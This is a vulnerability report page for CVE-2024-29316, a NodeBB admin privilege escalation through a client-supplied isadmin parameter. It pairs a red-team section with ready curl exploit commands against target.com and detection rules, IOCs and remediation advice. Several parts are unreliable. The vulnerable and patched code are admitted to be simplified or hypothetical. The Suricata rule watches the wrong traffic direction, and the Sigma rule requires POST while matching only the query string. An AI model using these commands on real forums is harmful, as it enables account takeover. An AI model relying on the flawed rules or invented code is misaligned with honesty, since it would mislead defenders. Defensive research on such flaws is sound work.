CVE-2024-29316
Executive Summary
CVE-2024-29316 is an Incorrect Access Control vulnerability in NodeBB version 3.6.7. The flaw allows a low-privileged attacker to escalate their privileges to the Admin group by manipulating the isadmin parameter to true in a request. This bypasses the intended role-based access controls, granting unauthorized access to restricted administrative tabs and functions. The vulnerability has a public proof-of-concept (PoC) but no official patch or CVSS vector has been assigned by the vendor. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the simplicity of the exploit makes it a high-priority target for red team exercises.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
NodeBB is an open-source Node.js forum software distributed via npm. The vulnerability exists in the core application logic, not in a third-party dependency. However, organizations using NodeBB should verify their deployment version and apply any available security updates from the official GitHub repository or npm registry. No malicious packages have been identified in the supply chain related to this CVE.
CVSS Breakdown & Threat Level
CVSS Score: 0.0 (Unassigned by NVD)
CVSS Vector: UNKNOWN
Threat Level: High (based on exploit simplicity and impact)
Rationale:
- Attack Vector (AV): Network – the exploit can be triggered remotely.
- Attack Complexity (AC): Low – no special conditions required.
- Privileges Required (PR): Low – attacker needs a valid low-privileged account.
- User Interaction (UI): None – no victim action needed.
- Scope (S): Changed – the attacker gains access to a different privilege level (Admin).
- Confidentiality (C): High – full read access to admin data.
- Integrity (I): High – ability to modify forum settings and content.
- Availability (A): High – potential to disrupt forum operations.
Deep Dive & Mechanics
The vulnerability resides in NodeBB’s access control middleware. When a user makes a request to a restricted administrative endpoint, the server checks the user’s role. However, due to improper validation of the isadmin parameter in the request body or query string, a low-privileged user can set "isadmin":true to bypass the check. The server trusts this client-supplied value instead of verifying the user’s actual role from the session or database.
Root Cause:
The application uses a conditional check like if (user.isadmin) without ensuring that user.isadmin is derived from the server-side session. An attacker can inject isadmin: true in a POST request or URL parameter, and the server incorrectly merges it into the user object.
Attack Flow:
- Attacker registers or logs in as a low-privileged user (e.g., "Member").
- Attacker sends a request to an admin-only endpoint (e.g.,
/admin/settings) with the payload{"isadmin": true}in the request body. - The server processes the request, sees
isadmin: true, and grants access to the admin panel. - Attacker can now modify forum settings, create/delete users, or execute arbitrary code via plugin uploads.
Vulnerable vs. Patched Code
Vulnerable Code (NodeBB 3.6.7):
// middleware/authorization.js (simplified)
function requireAdmin(req, res, next) {
if (req.user.isadmin) {
next();
} else {
res.status(403).send('Forbidden');
}
}
Patched Code (Hypothetical Fix):
// middleware/authorization.js (patched)
function requireAdmin(req, res, next) {
// Always fetch user from database, never trust client input
db.getUser(req.user.uid, function(err, user) {
if (user && user.isadmin) {
next();
} else {
res.status(403).send('Forbidden');
}
});
}
Explanation:
The vulnerable code trusts the req.user object which may have been polluted by client-supplied data. The patched version fetches the user’s actual role from the database, ignoring any client-side manipulation.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- NodeBB 3.6.7 instance (e.g., Docker container)
- Low-privileged user account (e.g., username:
attacker, password:password123) - Session cookie for the attacker
Exploit Steps:
- Log in as the low-privileged user and capture the session cookie.
- Send a POST request to
/admin/settingswith the following payload:
curl -X POST http://target.com/admin/settings \
-H "Cookie: express.sid=<SESSION_COOKIE>" \
-H "Content-Type: application/json" \
-d '{"isadmin": true}'
- If successful, the server will return the admin settings page.
- Further escalate by uploading a malicious plugin or modifying system configurations.
Alternative Exploit (Query String):
curl "http://target.com/admin/settings?isadmin=true" \
-H "Cookie: express.sid=<SESSION_COOKIE>"
Blue Team (Detection & Hardening)
Detection:
- Monitor for requests to
/admin/*endpoints from non-admin users. - Alert on any request containing
isadmin=truein the body or query string. - Review server logs for 403 errors followed by 200 responses on admin endpoints.
Hardening:
- Apply input validation to strip
isadminfrom all user-supplied data. - Use server-side session validation for all privilege checks.
- Deploy a Web Application Firewall (WAF) rule to block requests with
isadminparameter.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/admin/*withisadmin=truein body or query string. - Unusual POST requests to
/admin/settingsfrom low-privileged user sessions.
Host IOCs:
- Unexpected changes to forum settings (e.g., new admin accounts, modified email config).
- Presence of unknown plugins or themes in the
nodebb/pluginsdirectory. - Log entries showing
isadminparameter in request logs.
Log Patterns:
POST /admin/settings HTTP/1.1
Content-Type: application/json
{"isadmin": true}
Detection Engineering
YARA Rule
rule CVE_2024_29316_NodeBB_AccessControl {
meta:
description = "Detects attempts to exploit CVE-2024-29316 in NodeBB"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-29316"
strings:
$isadmin = "isadmin" nocase
$admin_path = "/admin/" nocase
condition:
$isadmin and $admin_path
}
Sigma Rule
title: NodeBB Admin Access Control Bypass via isadmin Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests to NodeBB admin endpoints containing the isadmin parameter, indicating a potential CVE-2024-29316 exploitation attempt.
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'isadmin=true'
cs-uri-stem|startswith: '/admin/'
condition: selection
falsepositives:
- Legitimate admin users (rare, as admin users do not need to pass isadmin)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-29316 NodeBB Admin Access Control Bypass"; flow:to_server,established; content:"POST"; http_method; content:"/admin/"; http_uri; content:"isadmin"; http_client_body; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade NodeBB to the latest patched version (if available) or apply the vendor’s hotfix.
- Restrict network access to the NodeBB admin panel (e.g., VPN or IP whitelist).
- Disable low-privileged accounts until the vulnerability is patched.
Long-Term Fixes:
- Implement server-side role validation that never trusts client-supplied data.
- Conduct a code review of all authorization middleware.
- Add automated security testing (SAST/DAST) to the CI/CD pipeline.
Workaround (if patching is not possible):
- Use a reverse proxy (e.g., Nginx) to block requests containing
isadminin the body or query string:
location /admin/ {
if ($request_body ~* "isadmin") {
return 403;
}
proxy_pass http://nodebb_backend;
}
Valters IT
DevSecOps & Cyber Threat Intelligence Division
Report generated for CVE-2024-29316